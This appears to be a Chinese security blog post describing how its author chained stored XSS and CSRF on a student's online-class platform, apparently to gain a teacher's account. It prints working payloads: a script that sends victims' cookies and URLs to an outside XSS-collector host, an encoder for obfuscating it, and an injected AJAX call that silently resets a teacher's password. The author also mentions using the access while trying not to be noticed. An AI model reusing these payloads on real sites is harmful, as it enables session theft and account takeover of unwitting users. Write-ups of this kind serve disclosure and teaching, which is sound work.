zoukankan      html  css  js  c++  java
  • Csrf+Xss组合拳

    本文首发于“合天智汇”公众号,作者: 影子
    各位大师傅,第一次在合天发文章,请多多关照
    今年年初的疫情确实有点突然,打乱了上半年的所有计划(本来是校内大佬带我拿奖的时刻,没了
    ,学长毕业了,就剩下我这个小垃圾带着下一届去搞ctf了,难啊,难啊)
    • 0x01
    这个站是我疫情时候在线上网课的平台,本着对信息安全做贡献的目的下去做的这个渗透工作(咳咳,这个平台有个签到,每次签到我都在与大脑作斗争,最后争不过大脑,选择了睡觉,最后旷课太多,不搞要挂科。)
    • 0x02
    这个站简单的先用手机看了下,这种网课站我感觉xss比较好寻找一些,所以我找到的都是一些存储型xss,
    先看一下第一个基本没鸟用的xss
    用户个人资料处
    更改姓名
    Payload为<script>alert()</script>
    (这个地方字数有限制,最长为24个字符)
    保存,刷新页面
    成功显示弹窗 经测试
    1.学号
    2.身份
    3.学校
    4.姓名处均存在存储型xss并能够弹窗
    确实这个地方感觉确实没什么用,字数有限制,顶多就是在老师打开页面的时候弹出一个弹框,没鸟用啊,回头想想自己旷课的次数,md,拼了
    • 0x03
    发布新话题
    测试发现
    将上面全部代码进行复制
    在下面编辑框中进行黏贴,直接解析为html
    内容处可以执行html代码
    测试发布时
    发布后访问此话题
    成功xss
    进行下一步测试
    进行获取cookies
    在<script src=””>
    这个payload无法执行
    不知道是服务器问题还是什么
    换用其他payload
    in_str = "(function(){(new Image()).src='http://xss.buuoj.cn/index.php?do=api&id=Mli4D9&location='+escape((function(){try{return document.location.href}catch(e){return ''}})())+'&toplocation='+escape((function(){try{return top.location.href}catch(e){return ''}})())+'&cookie='+escape((function(){try{return document.cookie}catch(e){return ''}})())+'&opener='+escape((function(){try{return (window.opener && window.opener.location.href)?window.opener.location.href:''}catch(e){return ''}})());})();if(''==1){keep=new Image();keep.src='http://xss.buuoj.cn/index.php?do=keepsession&id=Mli4D9&url='+escape(document.location)+'&cookie='+escape(document.cookie)};"
     
    output = ""
     
    for c in in_str:
        output += "&#" + str(ord(c))
     
    print("<svg><script>eval("" + output + "")</script>")
    payload为
    在进行测试
    <svg><script>eval("(function(){(new Image()).src='http://xss.buuoj.cn/index.php?do=api&id=Mli4D9&location='+escape((function(){try{return document.location.href}catch(e){return ''}})())+'&toplocation='+escape((function(){try{return top.location.href}catch(e){return ''}})())+'&cookie='+escape((function(){try{return document.cookie}catch(e){return ''}})())+'&opener='+escape((function(){try{return (window.opener && window.opener.location.href)?window.opener.location.href:''}catch(e){return ''}})());})();if(''==1){keep=new Image();keep.src='http://xss.buuoj.cn/index.php?do=keepsession&id=Mli4D9&url='+escape(document.location)+'&cookie='+escape(document.cookie)};")</script>
     
     
    看看xss平台
     
     
    成功获取
    也可以使用其他的利用方法
     
    跳转钓鱼网站
    在页面内这是html表单进行钓鱼
    或者js挂马等等
    严重程度
    中危
    But。。
    部分Cookeis设置了http-only,拿不到老师的全部cookie。
    • 0x04
    继续测试
    更改密码处没有验证原先密码
    根据前面找到的xss构建payload
     
    ```
    <script type="text/javascript" src="http://admin.3cjz.cn/include/jQ.js"></script>
    <script> 
    
    function loginSubmit() {
            $.ajax({
                url: "https://www.xxxxxxxx.com/UserApi/updatePassword", 
                type: "post",
                data: {"newpassword": "123456789"},
                dataType: "json",
                success: function (data) {
                    if (data.status == "1") {    
                        
                    } else {
    
                    }
                },
            });
        }
    loginSubmit()
    </script> 
    ```
    那么要去受害者要有兴趣去访问这个payload
    作业处,受害者(例如老师,获取更大权限)老师要去更改作业
    找到在作业留言处存在存储型xss
    在此处插入payload
    查看效果
    现在密码为123456789
    登录正常
    将payload的密码改为123456789.
    我用的手机端(pc端似乎要抓包,懒)
     
    提交成功
    教师端进入批阅
    老师的管理界面
    教师端进入批阅
    抓包看到
    访问时,直接更新了密码
    退出
    密码为12345679时错误
    密码为123456789.时成功
    更改密码处存在csrf
    联想到刚刚的存储型xss,
    一个csrf+xss的组合拳漏洞
    • 0x05
    最后到底有没有拿到老师权限呢
     
     
    最高星星数6个
    怕被发现。
    真带劲
    哈哈
    搞完手工,打包提交,以上漏洞至今为止已修复。
    声明:作者初衷用于分享与普及网络知识,若读者因此作出任何危害网络安全行为后果自负,与合天智汇及原作者无关。
    实验推荐
    DoraBox之CSRF
    https://www.hetianlab.com/expc.do?ec=ECID6f07-3348-4d8f-90a1-2b399f28378b
    (通过DoraBox靶场系列闯关练习,理解跨站请求伪造漏洞的原理与利用过程。)
     
  • 相关阅读:
    417 Pacific Atlantic Water Flow 太平洋大西洋水流
    416 Partition Equal Subset Sum 分割相同子集和
    415 Add Strings 字符串相加
    414 Third Maximum Number 第三大的数
    413 Arithmetic Slices 等差数列划分
    412 Fizz Buzz
    410 Split Array Largest Sum 分割数组的最大值
    409 Longest Palindrome 最长回文串
    day22 collection 模块 (顺便对比queue也学习了一下队列)
    day21 计算器作业
  • 原文地址:https://www.cnblogs.com/hetianlab/p/13385690.html
Copyright © 2011-2022 走看看